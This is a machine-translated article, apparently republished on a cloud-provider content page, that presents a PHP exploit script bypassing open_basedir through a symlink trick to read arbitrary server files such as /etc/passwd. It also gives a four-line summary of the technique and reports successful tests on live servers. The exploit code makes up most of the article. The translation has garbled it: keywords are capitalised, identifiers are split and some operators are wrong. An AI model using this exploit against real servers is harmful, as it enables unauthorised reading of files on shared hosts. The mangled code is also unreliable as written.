PHP5 full-version bypass open_basedir file read script vulnerability details

Source: Internet
Author: User
Tags symlink
This article mainly introduces the PHP5 full-version bypass open_basedir file read script vulnerability, which was proposed a long time ago (about five years ago) and still exists in the latest version, A friend who needs the vulnerability can refer to the vulnerability that was raised a long time ago (about five years ago), but it is not a problem in php code, so the problem persists until now. I never noticed that yaseng told me that he could test 5.5.

For details about the vulnerability, visit http://cxsecurity.com/issue/wlb-2009110068.

Given the EXP I wrote:

The code is as follows:


<? Php
/*
* By phithon
* From http://www.jb51.net
* Detail: http://cxsecurity.com/issue/WLB-2009110068
*/
Header ('content-type: text/plain ');
Error_reporting (-1 );
Ini_set ('display _ errors ', TRUE );
Printf ("open_basedir: % s \ nphp_version: % s \ n", ini_get ('open _ basedir '), phpversion ());
Printf ("disable_functions: % s \ n", ini_get ('Disable _ functions '));
$ File = str_replace ('\', '/', isset ($ _ REQUEST ['file'])? $ _ REQUEST ['file']: '/etc/passwd ');
$ Relat_file = getRelativePath (_ FILE __, $ file );
$ Paths = explode ('/', $ file );
$ Name = mt_rand () % 999;
$ Exp = getRandStr ();
Mkdir ($ name );
Chdir ($ name );
For ($ I = 1; $ I <count ($ paths)-1; $ I ++ ){
Mkdir ($ paths [$ I]);
Chdir ($ paths [$ I]);
}
Mkdir ($ paths [$ I]);
For ($ I-= 1; $ I> 0; $ I --){
Chdir ('..');
}
$ Paths = explode ('/', $ relat_file );
$ J = 0;
For ($ I = 0; $ paths [$ I] = '..'; $ I ++ ){
Mkdir ($ name );
Chdir ($ name );
$ J ++;
}
For ($ I = 0; $ I <= $ j; $ I ++ ){
Chdir ('..');
}
$ Tmp = array_fill (0, $ j + 1, $ name );
Symlink (implode ('/', $ tmp), 'tmplink ');
$ Tmp = array_fill (0, $ j ,'..');
Symlink ('tmplink/'. implode ('/', $ tmp). $ file, $ exp );
Unlink ('tmplink ');
Mkdir ('tmplink ');
Delfile ($ name );
$ Exp = dirname ($ _ SERVER ['script _ name']). "/{$ exp }";
$ Exp = "http: // {$ _ SERVER ['server _ name']} {$ exp }";
Echo "\ n ----------------- content --------------- \ n ";
Echo file_get_contents ($ exp );
Delfile ('tmplink ');

Function getRelativePath ($ from, $ ){
// Some compatibility fixes for Windows paths
$ From = rtrim ($ from ,'\/').'/';
$ From = str_replace ('\', '/', $ from );
$ To = str_replace ('\', '/', $ );

$ From = explode ('/', $ from );
$ To = explode ('/', $ );
$ RelPath = $;

Foreach ($ from as $ depth => $ dir ){
// Find first non-matching dir
If ($ dir = $ to [$ depth]) {
// Ignore this directory
Array_shift ($ relPath );
} Else {
// Get number of remaining dirs to $ from
$ Remaining = count ($ from)-$ depth;
If ($ remaining> 1 ){
// Add traversals up to first matching dir
$ PadLength = (count ($ relPath) + $ remaining-1) *-1;
$ RelPath = array_pad ($ relPath, $ padLength ,'..');
Break;
} Else {
$ RelPath [0] = './'. $ relPath [0];
}
}
}
Return implode ('/', $ relPath );
}

Function delfile ($ deldir ){
If (@ is_file ($ deldir )){
@ Chmod ($ deldir, 0777 );
Return @ unlink ($ deldir );
} Else if (@ is_dir ($ deldir )){
If ($ mydir = @ opendir ($ deldir) = NULL) return false;
While (false! ==( $ File = @ readdir ($ mydir )))
{
$ Name = File_Str ($ deldir. '/'. $ file );
If ($ file! = '.') & ($ File! = '..') {Delfile ($ name );}
}
@ Closedir ($ mydir );
@ Chmod ($ deldir, 0777 );
Return @ rmdir ($ deldir )? True: false;
}
}

Function File_Str ($ string)
{
Return str_replace ('//', '/', str_replace ('\', '/', $ string ));
}

Function getRandStr ($ length = 6 ){
$ Chars = 'abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz0123456789 ';
$ RandStr = '';
For ($ I = 0; $ I <$ length; $ I ++ ){
$ RandStr. = substr ($ chars, mt_rand (0, strlen ($ chars)-1), 1 );
}
Return $ randStr;
}

For example, we want to read/etc/passwd. In fact, the principle is to create a link file x, point to a/a with the relative path, and then create a link file exp pointing to x /.. /.. /.. /etc/passwd.

It actually points to a/.../etc/passwd, which is actually./etc/passwd.

In this case, delete x and create another x Directory. However, exp still points to x/../etc/passwd, so it is successfully transferred to/etc/passwd.

The essence is the following four sentences:

The code is as follows:


Symlink ("abc/abc", "tmplink ");
Symlink ("tmplink/.../etc/passwd", "exploit ");
Unlink ("tmplink ");
Mkdir ("tmplink ");

We access http: // xxx/exp. if the server supports access to linked files, we can read/etc/passwd.

No operation triggers open_basedir, but the result is that open_basedir is bypassed to read arbitrary files.

The error is not in php, but I don't know who is responsible for the error, so php never cares about this problem.

Open_basedir

Restrict files that can be opened by PHP to the specified directory tree, including the file itself. This command is not affected by enabling or disabling security mode.

When a script tries to open a file using fopen () or gzopen (), the file location will be checked. PHP rejects opening a file outside the specified directory tree. All symbolic connections are parsed, so it is impossible to avoid this restriction through symbolic connections.

Special value. indicates that the script's working directory will be used as the reference directory. But this is dangerous because the working directory of the script can be easily changed by chdir.

In the httpd. conf file, open_basedir can be disabled using the "php_admin_value open_basedir none" method like any other configuration options (for example, in some virtual hosts ).

In Windows, separate directories with semicolons. Use colons to separate directories in any other system. As an Apache module, the open_basedir path in the parent directory is automatically inherited.

The restriction specified by open_basedir is actually a prefix, not a directory name. That is to say, "open_basedir =/dir/incl" will also allow access to "/dir/include" and "/dir/incls" if they exist. If you want to restrict access to a specified directory only, end the path name with a diagonal line. For example, "open_basedir =/dir/incl /".

Note:

Multiple directories are supported by 3.0.7.

By default, all files are allowed to be opened.

I have tested both my VPS (php5.3.28 + nginx) and Raspberry Pi (php 5.4.4 + nginx) and read them successfully.

Raspberry Pi test:

Compared with the 5.3 XML hole (which many files cannot be read), the success rate is still relatively stable, and many files can be read. In addition, the version is not required, which is harmful.

A few days ago, the CTF of Cheng Xin tried this script and apache could also read it. at that time, he had read the/etc/httpd/conf/httpd. conf of the kali sub-database, so there was no result.

No nearby stations are found, and the traffic is forwarded through the gateway.

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.